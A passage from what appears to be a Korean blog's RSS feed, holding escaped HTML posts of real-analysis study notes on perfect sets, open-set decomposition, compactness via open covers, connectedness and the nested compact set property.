&lt;li&gt;증명: &lt;a href=&quot;https://verybigsilver.tistory.com/265&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;해석개론 6&lt;/a&gt;에서 보인 것과 비슷&lt;br /&gt;perfect set P가 countable이라 하자&lt;br /&gt;&amp;nbsp; &amp;nbsp; P = {x1, x2, ...}&lt;br /&gt;perfect set이므로, no isolated point&lt;br /&gt;&amp;nbsp; &amp;nbsp; 즉, x1 주변에 항상 P의 원소 존재&lt;br /&gt;이떄, x1주변 점을 y1이라 하고 y1을 중심으로&lt;br /&gt;$x_1 \notin I_1$인 구간 $I_1 = [a_1, b_1]$을 잡는다&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; 이떄, $I_1 \cap P \neq \emptyset$ ($y_1 \in I_1\cap P$)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;이제 이 과정을 반복하면서 nested set을 만들면 되겠는데...&lt;br /&gt;만약 $y_n = x_{n+1}$일 경우라면 $I_n$에 $x_{n+1}$만 있을수도 있지 않을까?&lt;br /&gt;-&amp;gt; but, P is perfect set&lt;br /&gt;따라서, 주변에 있는 다른 limit point를 기준으로&lt;br /&gt;새 구간 $x_{n+1} \notin I_{n+1}$를 잡을 수 있다&lt;br /&gt;이렇게 $I_1 \supseteq I_2 \supseteq I_3 \supseteq ...$이 만들어진다.&lt;br /&gt;&lt;br /&gt;이떄, $I_n \cap P$에 대해, &lt;br /&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; $I_n$&lt;/span&gt;은 $[&lt;span&gt;a_n, \ b_n&lt;/span&gt;]$ &amp;lt;= compact set&lt;br /&gt;&amp;nbsp; &amp;nbsp; P는 closed&lt;br /&gt;&amp;nbsp; &amp;nbsp; -&amp;gt; $&lt;span&gt;I_n \cap P$&lt;/span&gt;는 compact&lt;br /&gt;따라서 nested compact set property에 의해,&lt;br /&gt;$\exists a \in \bigcap\limits^{\infty}{(I_n \cap P)}$&lt;br /&gt;그러나, $\forall n\in \mathbb{N}, \ a \neq x_n$이므로, countable에 모순&lt;br /&gt;-&amp;gt; P는 uncountable&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대우명제: $P \neq \emptyset$일때, countable한 closed 집합은 perfect set이 아니다&lt;br /&gt;countable한 closed 집합은 적어도 1개의 isolated point를 가지고 있다&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Openset breakdown&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$O \subseteq \mathbb{R}, \ O \neq \emptyset$일때, $O = \bigcup\limits^{N}_{n=1}(a_n, b_n)$ (N = finite or countable)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\forall$open set은 countable union of disjoint set으로 나타낼 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;318&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/btgv62/dJMcabEf4bi/MvzukGjXhM5qVOmcfm29sK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/btgv62/dJMcabEf4bi/MvzukGjXhM5qVOmcfm29sK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/btgv62/dJMcabEf4bi/MvzukGjXhM5qVOmcfm29sK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbtgv62%2FdJMcabEf4bi%2FMvzukGjXhM5qVOmcfm29sK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;818&quot; height=&quot;318&quot; data-origin-width=&quot;818&quot; data-origin-height=&quot;318&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명: O 내부의 open interval의 크기를 최대로 늘려보자&lt;br /&gt;$\forall x \in O$에 대해, 해당 O에 들어가는 가장 큰 구간&lt;br /&gt;$I_x = (\inf{a \ | \ (a,x] \subseteq O}, \ \sup{b \ | \ [x, b) \subseteq O})$을 정의하자&lt;br /&gt;일단 O가 open이므로,&lt;br /&gt;&lt;br /&gt;$I_x\subseteq O$이고 $I_x \neq \emptyset$&lt;br /&gt;&lt;br /&gt;귀류법을 이용해 각각의 $I_x$가 disjoint임을 보여보자 &lt;br /&gt;&amp;nbsp; &amp;nbsp; $x, y \in O$에 대해, $I_x \neq I_y$이고 $I_x\cap I_y \neq \emptyset$라 하자. &lt;br /&gt;&amp;nbsp; &amp;nbsp; 그러면 $I_x \cup I_y$는 하나의 연결된 큰 구간이 된다. &lt;br /&gt;&amp;nbsp; &amp;nbsp; 그러나, $I_x, I_y$를 제일 큰 구간이라고 정의했기 떄문에 모순 &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 더 엄밀히는 sup, inf의 정의에 모순&amp;nbsp;&lt;br /&gt;따라서, $x, y \in O$에 대해, $I_x = I_y$이거나 $I_x\cap I_y = \emptyset$이다.&lt;br /&gt;$\bigcup I_n \subseteq O$?&lt;br /&gt;&amp;nbsp; &amp;nbsp; 이건 당연함&lt;br /&gt;$O \subseteq \bigcup I_n$&lt;br /&gt;&amp;nbsp; &amp;nbsp; O의 모든 원소 x에 대해 $I_x$를 만들었고, &lt;br /&gt;&amp;nbsp; &amp;nbsp; $x \in I_x$이므로, 이것도 당연함 &lt;br /&gt;-&amp;gt; $O = \bigsqcup\limits^{N} I_n$&lt;br /&gt;&lt;br /&gt;이제 N이 countable임만 보이면 된다.&lt;br /&gt;$I_x$ 안에는 무수히 많은 유리수를 포함&lt;br /&gt;-&amp;gt; 이떄, 적당히 하나의 유리수를 뽑아 $I_x$의 대푯값으로 정함&lt;br /&gt;즉, $I_x$의 수 = 대푯값의 수&lt;br /&gt;but, 대푯값 $\in \mathbb{Q}$이므로, |대푯값| $\le |\mathbb{Q}| = \text{countable}$&lt;br /&gt;따라서 N은 countable&lt;br /&gt;-&amp;gt; $O = \bigcup\limits^{N}_{n=1}(a_n, b_n)$ (N = finite or countable)&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>해석학</category>
      <category>해석학</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/287</guid>
      <comments>https://verybigsilver.tistory.com/287#entry287comment</comments>
      <pubDate>Wed, 27 May 2026 17:30:54 +0900</pubDate>
    </item>
    <item>
      <title>[해석학](21)[connected &amp;amp; disconnected]</title>
      <link>https://verybigsilver.tistory.com/286</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;open cover&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$A \subseteq \bigcup{O_{\alpha}}$인 {$O_n$}인 open set 집합&lt;br /&gt;&amp;nbsp; &amp;nbsp; open set으로만 이루어진 합집합이 집합 A를 포함하는 집합&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;finite subcover: cover의 원소가 유한개인 cover&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; {$O_1$, $O_2$, ..., $O_n$}&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; open cover의 액기스...&lt;br /&gt;-&amp;gt; 같은 집합 A이여도&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 다양한 open cover,&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; finite subcover의 존재여부&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 가 존재한다&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;예)&lt;br /&gt;[0, 1]의 open cover?&lt;br /&gt;&amp;nbsp; &amp;nbsp; {(-1, 2)} &amp;lt;- finite&amp;nbsp;&lt;br /&gt;(0, 1)의 open cover&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;{$(\frac{1}{n},&amp;nbsp;1)$&amp;nbsp;|&amp;nbsp;$n&amp;nbsp;\in&amp;nbsp;\mathbb{N}$}&amp;nbsp;&amp;lt;-&amp;nbsp;no&amp;nbsp;finite&amp;nbsp;subcover &lt;br /&gt;&amp;nbsp; &amp;nbsp; {(0, 1)} &amp;lt;- finite&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;compact의 동치&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;K가 compact $\Leftrightarrow \forall \text{open cover of K}$가 finite subcover를 가진다&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) (0, 1)?&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; {$(\frac{1}{n}, 1)$ | $n \in \mathbb{N}$}에 대해 finite subcover가 존재한다 하자.&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; {$O_{n_1}$, $O_{n_2}$, ..., $O_{n_k}$}&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $O_{n_1} \cup O_{n_2} \cup ... \cup O_{n_k} = (\frac{1}{\max(n_1,\ n_2,\ ..., \ n_k)}, 1)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 그러나, (0, $\frac{1}{\max(n_1,\ n_2,\ ..., \ n_k)}$]은 cover 안됨&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; -&amp;gt; no finite subcover&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; --&amp;gt; 따라서 (0, 1) is not compact&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;connected &amp;amp; disconnected&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;separated set&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$A, B \neq \emptyset$일때, $\bar{A}\cap B = \emptyset$ &amp;amp; $A\cap \bar{B} = \emptyset$이면 A, B는 separated&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; disjoint set(서로소 집합)보다 더 강한 조건&lt;br /&gt;예)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; (1, 2) &amp;amp; (2, 3)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\bar{(1, 2)} = [1, 2]$이므로, separated&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; (1, 2) &amp;amp; [2, 3]&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\bar{(1, 2)} \cap [2, 3] = [1, 2]\cap [2,3] = {2} \neq \emptyset$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 따라서 not separated&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;disconnected&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$K \subseteq \mathbb{R}$에 대해, $K = A\cup B$이고, A, B는 separated인 A, B가 존재하는 집합 K&lt;br /&gt;예)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - $(1,2)\cup(2,3)$ is disconnected&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; A = (1, 2), B = (2, 3)&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; - $\mathbb{Q}$ is disconnected&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; A = $\mathbb{Q} \cap (-\infty , \sqrt{2})$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; B = $\mathbb{Q} \cap (\sqrt{2}, \infty)$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $\bar{A} = (-\infty , \sqrt{2}]$, $\bar{B} = [\sqrt{2}, \infty)$&lt;br /&gt;예) cantor 집합&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $C_0 = [0,1]$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $C_1 = [0,\frac{1}{3}]\cup[\frac{2}{3}, 1]$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; $C_2 = [0,\frac{1}{9}]\cup[\frac{2}{9}, \frac{1}{3}]\cup[\frac{2}{3},\frac{7}{9}]\cup[\frac{8}{9}, 1]$&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; ...&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;connected&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;not disconnected&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; disconnected를 증명하는 것보다 더 까다로움&lt;br /&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;nbsp;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt; 왜냐하면 모든 경우에 대해 separated가 아님을 보여야 하기 때문&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예) 임의의 닫힌 구간 [p, q]는 connected&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명 (귀류법을 사용하자)&lt;br /&gt;$\exists A, B \neq \emptyset, \ A\cup B = [p, q],$ $\bar{A}\cap B = \emptyset$ &amp;amp; $A\cap \bar{B} = \emptyset$라고 하자.&lt;br /&gt;$\exists a \in A, \ \exists b \in B$이고, WLOG, a&amp;lt;b라고 하자.&lt;br /&gt;$A\cap B \subseteq \bar{A}\cap B = \emptyset$이다.&lt;br /&gt;c = Sup($A\cap [a,b]$)라고 하자. &lt;br /&gt;&amp;nbsp; &amp;nbsp; bounded &amp;amp; non-empty이므로, &lt;br /&gt;&amp;nbsp; &amp;nbsp; Sup가 존재함은 자명함&lt;br /&gt;이떄, $a \le c \le b$이므로, $c \in [p,q]$&lt;br /&gt;&amp;nbsp; &amp;nbsp; 즉, $&lt;span&gt;c \in A$&lt;/span&gt; 또는 $&lt;span&gt;c \in B$&lt;/span&gt;&lt;br /&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;$c \in A$인 경우&lt;br /&gt;$c \notin B$이므로, c$\neq$b이며, c &amp;lt; b이다.&lt;br /&gt;또한, $c \notin \bar{B}$이므로,&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\exists \epsilon &amp;gt; 0, \ V_{\epsilon}(c) \cap B = (c - \epsilon, c + \epsilon) \cap B = \emptyset$&lt;br /&gt;그리고 $c+\epsilon &amp;lt; b$가 되게 $\epsilon$을 잡을 수 있다.&lt;br /&gt;이떄, $c+\epsilon \notin B$이므로, $c+\epsilon \in A$&lt;br /&gt;-&amp;gt; 그러나, c는 Sup이므로, A의 원소보다 작으면 안됨 -&amp;gt; 모순&lt;br /&gt;--&amp;gt; $c \notin A$&lt;/li&gt;
&lt;li&gt;$c \in B$인 경우&lt;br /&gt;$c\notin A$이므로, c$\neq$a이고 a&amp;lt;c이다&lt;br /&gt;$c \not\in \bar{A}$이므로,&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\Leftrightarrow \exists \epsilon_0 &amp;gt; 0, \ V_{\epsilon}(c)\cap A= \emptyset$&lt;br /&gt;즉, $(c-\epsilon , c]$ 사이에는 A의 원소가 아무것도 없다&lt;br /&gt;-&amp;gt; $c-\epsilon$이 새로운 최소상계가 됨 -&amp;gt; 모순&lt;br /&gt;--&amp;gt; $c \notin B$&lt;/li&gt;
&lt;/ol&gt;
-&amp;gt; 따라서, 모든 경우에서 모순이므로, connected여야 한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&amp;nbsp;&lt;/h4&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;connected &amp;lt;=&amp;gt; interval&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$K \subseteq \mathbb{R}$에 대해, K가 connected set&lt;br /&gt;$\iff a, b\in K, a&amp;lt;b$일떄, $a&amp;lt;\forall c &amp;lt; b \Rightarrow c \in K$&lt;br /&gt;&amp;nbsp; &amp;nbsp; 즉, connected면 interval이다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명 (=&amp;gt;) 귀류법을 이용하자!&lt;br /&gt;K가 connected일떄, $a&amp;lt;\exists c &amp;lt; b, \ c\notin K$라고 가정하자.&lt;br /&gt;$\Rightarrow K = (K \cap (-\infty, c) \cup (K \cap (c, \infty))) = A \cup B$처럼&lt;br /&gt;c를 중심으로 2개의 집합으로 나눌 수 있다&lt;br /&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;a &amp;lt; c &amp;lt; b이므로 &lt;br /&gt;&amp;nbsp; &amp;nbsp; $a \in A, \ b \in B$&lt;/span&gt;&lt;br /&gt;이때, $\bar{A} = \overline{K \cap (-\infty, c) } = (\infty, c]$이므로&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\bar{A} \cap B = \emptyset$ &lt;br /&gt;&amp;nbsp; &amp;nbsp; (그 반대도 마찬가지) &lt;br /&gt;$\Rightarrow$ A, B는 separated&lt;br /&gt;$\Rightarrow$ K는 disconnected -&amp;gt; 모순&lt;br /&gt;따라서, 모든 c는 K 안에 들어있어야 함&lt;/li&gt;
&lt;li&gt;증명 (&amp;lt;=) 이것도... 귀류법...&lt;br /&gt;$a, b\in K, a&amp;lt;b$, $a&amp;lt;\forall c &amp;lt; b \Rightarrow c \in K$일때 K가 disconnected라고 가정하자.&lt;br /&gt;즉, K = $A \cup B$&lt;br /&gt;&amp;nbsp; &amp;nbsp; 단, A, B$\neq \emptyset$, A, B는 separated &lt;br /&gt;이때, $a \in A, \ b \in B$라고 하자.&lt;br /&gt;WLOG a &amp;lt; b이고 $(a, b) \subseteq K$이다.&lt;br /&gt;&lt;br /&gt;이떄, 모순이 되는 c를 잡아보자 &lt;br /&gt;&amp;nbsp; &amp;nbsp; (보통은 boundary에서 많이 잡음) &lt;br /&gt;&amp;nbsp; &amp;nbsp; c = Sup($A \cap [a, b]$)라 하자. &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; AoC에 의해 존재함 &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 해당 집합이 bounded, non-empty인건 생략&amp;nbsp;&lt;br /&gt;일단 $a \le c \le b$인건 자명하고,&lt;br /&gt;c는 limit point이므로, $c\in L(A\cap [a, b])$&lt;br /&gt;&lt;span style=&quot;background-color: #ffffff; color: #333333; text-align: start;&quot;&gt;&amp;nbsp; &amp;nbsp; $\Leftrightarrow c \in \bar{A}$&lt;/span&gt; &lt;br /&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;$c \in B$?&lt;br /&gt;A, B가 separated이므로, $c\notin \bar{A}$ -&amp;gt; 모순&lt;/li&gt;
&lt;li&gt;$c \in A$?&lt;br /&gt;A, B가 separated이므로, $c\notin B, \bar{B}$&lt;br /&gt;$b \in B$ &amp;amp; $A \cap B = \emptyset$이므로, $b \notin A$&lt;br /&gt;만약 c = b면 $b \in \bar{A}$이므로, separated에 위배&lt;br /&gt;$\Rightarrow c &amp;lt; b$&lt;br /&gt;&lt;br /&gt;그리고, $\exists \epsilon_0 &amp;gt;0, V_{\epsilon_0}(c)\cap B = \emptyset$&lt;br /&gt;$\Rightarrow V_{\epsilon_0}(c) \subseteq A$&lt;br /&gt;즉, $c + \frac{\epsilon_0}{2} \in A$ 그리고, $c + \frac{\epsilon_0}{2} &amp;lt; b$&lt;br /&gt;그러나 c는 Sup이므로, 모순&lt;/li&gt;
&lt;/ol&gt;
-&amp;gt; 따라서 모든 경우에 모순이므로, c는 connected&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>해석학</category>
      <category>해석학</category>
      <author>황올뱀</author>
      <guid isPermaLink="true">https://verybigsilver.tistory.com/286</guid>
      <comments>https://verybigsilver.tistory.com/286#entry286comment</comments>
      <pubDate>Tue, 26 May 2026 17:30:24 +0900</pubDate>
    </item>
    <item>
      <title>[해석학](20)[축소 컴팩트 정리 &amp;amp; 칸토어 집합]</title>
      <link>https://verybigsilver.tistory.com/285</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;축소 컴팩트 정리(Nested Compact Set Property)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;$K_1 \supseteq K_2 \supseteq ...$일때, non-empty, compact라면&lt;br /&gt;&amp;nbsp; &amp;nbsp; $\bigcap\limits^{\infty}{K_n} \neq \emptyset$&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;증명&lt;br /&gt;$a_n \in K$를 뽑아서 $(a_n)$을 만들고,&lt;br /&gt;$(a_n) \subseteq K_1$이고, $K_1$은 compact이므로,&lt;br /&gt;$\exists (a_{n_k}) \subseteq (a_n), \ a_{n_k} \to L \in K_1$&lt;br /&gt;&lt;br /&gt;임의의 $K_m$에 대해,&lt;br /&gt;$\exists k \ (s.t. n_k \ge m)$이 되고, $K_{n_k} \subseteq K_m$&lt;br /&gt;따라서, $a_{n_k}$의 앞의 몇 항을 제외하면,&lt;br /&gt;$a_{n_k} \in K_{n_k} \subseteq K_m$ &lt;br /&gt;&lt;br /&gt;compact 집합 =&amp;gt; closed이고&lt;br /&gt;$a_{n_k} \to L$이므로,&lt;br /&gt;$L \in K_m$ (&lt;a href=&quot;https://verybigsilver.tistory.com/281&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;해석학 16&lt;/a&gt; 참고)&lt;br /&gt;따라서 임의의 m에 대해 L이 항상 원소로 들어가 있다&lt;br /&gt;-&amp;gt; $L \in \bigcap{K_n}$&lt;br /&gt;--&amp;gt; $\bigcap\limits^{\infty}{K_n} \neq \emptyset$&lt;br /&gt;&lt;br /&gt;&lt;/li&gt;
